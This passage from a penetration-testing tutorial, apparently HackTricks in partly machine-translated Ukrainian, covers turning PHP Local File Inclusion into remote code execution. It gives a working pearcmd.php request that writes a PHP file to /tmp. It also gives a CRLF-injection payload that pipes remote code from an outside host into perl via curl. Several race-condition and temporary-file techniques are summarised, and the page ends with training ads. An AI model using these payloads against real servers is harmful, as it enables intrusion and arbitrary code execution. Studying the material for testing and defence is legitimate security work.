As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Нижче показано експлуатацію вразливості CRLF для отримання RCE (з here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Через phpinfo() (file_uploads = on)

Якщо ви знайшли Local File Inclusion і файл, який показує phpinfo() з file_uploads = on, ви можете отримати RCE:

LFI2RCE via phpinfo()

Через compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Якщо ви знайшли Local File Inclusion і ви can exfiltrate the path тимчасового файлу, АЛЕ сервер перевіряє, чи файл, що включається, має PHP marks, ви можете спробувати bypass that check за допомогою цієї Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Через eternal waiting + bruteforce

Якщо ви можете зловживати LFI, щоб upload temporary files і змусити сервер hang виконання PHP, ви могли б потім brute force filenames during hours щоб знайти тимчасовий файл:

LFI2RCE via Eternal waiting

До Fatal Error

Якщо ви включите будь-який із файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Потрібно включити той самий файл двічі, щоб викликати цю помилку).

Я не знаю, наскільки це корисно, але може бути.
Навіть якщо ви спричините PHP Fatal Error, PHP тимчасові файли, що були завантажені, видаляються.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks